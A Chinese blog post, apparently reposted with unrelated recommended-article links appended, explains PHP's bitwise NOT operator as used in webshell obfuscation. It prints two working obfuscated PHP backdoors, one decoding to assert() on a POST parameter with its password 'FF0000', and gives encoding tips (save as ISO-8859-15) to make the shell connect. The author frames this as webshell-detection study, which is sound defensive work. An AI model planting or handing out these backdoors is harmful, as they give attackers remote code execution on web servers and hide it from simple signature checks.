这几天已知在做webshell的检测,JSP的不说了,特征检测起来很好匹配到,而且全是一家亲,互相模仿的居多。

今天看了一篇文章,看到14年蘑菇的webshell的后门然后很不错。

============================================

是按位取反。~

PHP: 位运算符 - http://www.php.net/manual/zh/language.operators.bitwise.php

  1. ~ $a Not(按位取反) 将 $a 中为 0 的位设为 1,反之亦然。

PHP 的 ini 设定 error_reporting 使用了按位的值,提供了关闭某个位的真实例子。要显示除了提示级别之外的所有错误。

php.ini 中是这样用的: E_ALL & ~E_NOTICE

具体运作方式是先取得 E_ALL 的值: 00000000000000000111011111111111

再取得 E_NOTICE 的值: 00000000000000000000000000001000

然后通过 ~ 将其取反: 11111111111111111111111111110111

最后再用按位与 AND(&)得到两个值中都设定了(为 1)的位: 00000000000000000111011111110111

 <?php
$x=~Ÿ¬¬º­«;
$x($_POST[~¹¹ÏÏÏÏ]);
?>

这里定义$x变量为ASSERT,然后密码为FF0000直接链接后门便可,因为当位取反出来'乱码'后我们再取一次反即可返回正常值。

当重现这个后门的时候我发现,直接Copy过来的直接HTTP状态500,源头是编码问题,上面这种'乱码'其实为西欧(ISO-8859-15)。

实际过程中我们遇到了多次后门无法链接出现500的错误均势因为编码问题,如果默认编码无法识别将编码方式保存为这种即可(GBK\UTF8\...均不能成功使用)

 <?php @$code = ~邽崓瀱爳瀼纵瀸專嚿蕧嬢幼瀺崬喼蹱含嚔帜;@$s1 = ~瀸寶崑;@$s2 = ~繗墳撟蹨悰氈;@$s1($s2);?>
例如这样
访问后代码还是一样会运行的。
更多的细节可以看:http://www.2cto.com/Article/201402/277032.html
相关资料https://github.com/laterain/pwaavt/blob/master/bitwise.php

PHPwebshell分析的更多相关文章

  1. Weevely使用方法以及通信流量分析

    Weevely简介 weevely项目地址:点击查看 weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似于telnet的连接shell,weevely通常用于web程序的漏 ...

  2. alias导致virtualenv异常的分析和解法

    title: alias导致virtualenv异常的分析和解法 toc: true comments: true date: 2016-06-27 23:40:56 tags: [OS X, ZSH ...

  3. 火焰图分析openresty性能瓶颈

    注:本文操作基于CentOS 系统 准备工作 用wget从https://sourceware.org/systemtap/ftp/releases/下载最新版的systemtap.tar.gz压缩包 ...

  4. 一起来玩echarts系列(一)------箱线图的分析与绘制

    一.箱线图 Box-plot 箱线图一般被用作显示数据分散情况.具体是计算一组数据的中位数.25%分位数.75%分位数.上边界.下边界,来将数据从大到小排列,直观展示数据整体的分布情况. 大部分正常数 ...

  5. 应用工具 .NET Portability Analyzer 分析迁移dotnet core

    大多数开发人员更喜欢一次性编写好业务逻辑代码,以后再重用这些代码.与构建不同的应用以面向多个平台相比,这种方法更加容易.如果您创建与 .NET Core 兼容的.NET 标准库,那么现在比以往任何时候 ...

  6. UWP中新加的数据绑定方式x:Bind分析总结

    UWP中新加的数据绑定方式x:Bind分析总结 0x00 UWP中的x:Bind 由之前有过WPF开发经验,所以在学习UWP的时候直接省略了XAML.数据绑定等几个看着十分眼熟的主题.学习过程中倒是也 ...

  7. 查看w3wp进程占用的内存及.NET内存泄露,死锁分析

    一 基础知识 在分析之前,先上一张图: 从上面可以看到,这个w3wp进程占用了376M内存,启动了54个线程. 在使用windbg查看之前,看到的进程含有 *32 字样,意思是在64位机器上已32位方 ...

  8. ZIP压缩算法详细分析及解压实例解释

    最近自己实现了一个ZIP压缩数据的解压程序,觉得有必要把ZIP压缩格式进行一下详细总结,数据压缩是一门通信原理和计算机科学都会涉及到的学科,在通信原理中,一般称为信源编码,在计算机科学里,一般称为数据 ...

  9. ABP源码分析一:整体项目结构及目录

    ABP是一套非常优秀的web应用程序架构,适合用来搭建集中式架构的web应用程序. 整个Abp的Infrastructure是以Abp这个package为核心模块(core)+15个模块(module ...

随机推荐

  1. React快速入门

    目录: 简介 Hello React! 虚拟DOM React组件 轮子来了:JSX 使用JSX 简介 React是Facebook开源的一个用于构建用户界面的Javascript库,已经 应用于Fa ...

  2. ch2-4:遇到嵌套列表进行缩进打印

    1.增加一个参数来控制缩进打印:level '''这是一个模块,可以打印列表,其中可能包含嵌套列表''' def print_list(the_list,level): ""&qu ...

  3. 161102、MyBatis中批量插入

    方法一: <insert id="insertbatch" parameterType="java.util.List"> <selectKe ...

  4. Axure简介

    Axure RP(Rapid Prototyping快速原型) 是美国公司Axure Software Solution公司旗舰产品,是一个专业的快速原型设计工具,让负责定义需求和规格.设计功能和界面 ...

  5. 利用OpenStack Rest API 创建镜像

    服务端点: image API: POST     /v2/images Request1:     Method:Post     Url: http://192.168.31.147:9292/v ...

  6. MyISAM表杂记实验

    一.本文说明 由于刚学mysql所以动手做了一些实验. 二.实验内容 1.验证MyISAM有AUOT_INCREMENT coloumn功能 ----在这里是对现有表t,增加一个主键----mysql ...

  7. php中的curl】php中curl的详细解说

    本文我来给大家详细介绍下cURL的简单的使用方法,下文我将会给大家详细介绍cURL的高级应用, cURL可以使用URL的语法模拟浏览器来传输数据, FTP, FTPS, HTTP, HTTPS, GO ...

  8. pgadmin(IDE)工具连接postgres数据库

    1. 下载软件        软件地址:http://www.pgadmin.org/download/pgagent.php   2.安装软件    安装过程:略    打开软件64位会出现  “无 ...

  9. HTML,javaScript,DOM详解

    HTML DOM 教程 DOM 教程 DOM 简介 HTML DOM 定义了访问和操作 HTML 文档的标准方法. DOM 将 HTML 文档表达为树结构. HTML DOM 树 HTML DOM 简 ...

  10. poj3372 Candy Distribution

    可以证明: f(k) = k *(k - 1)/ 2 (1 ≤ k ≤ n)是n的完全剩余系当且仅当n = 2 ^ t. http://poj.org/problem?id=3372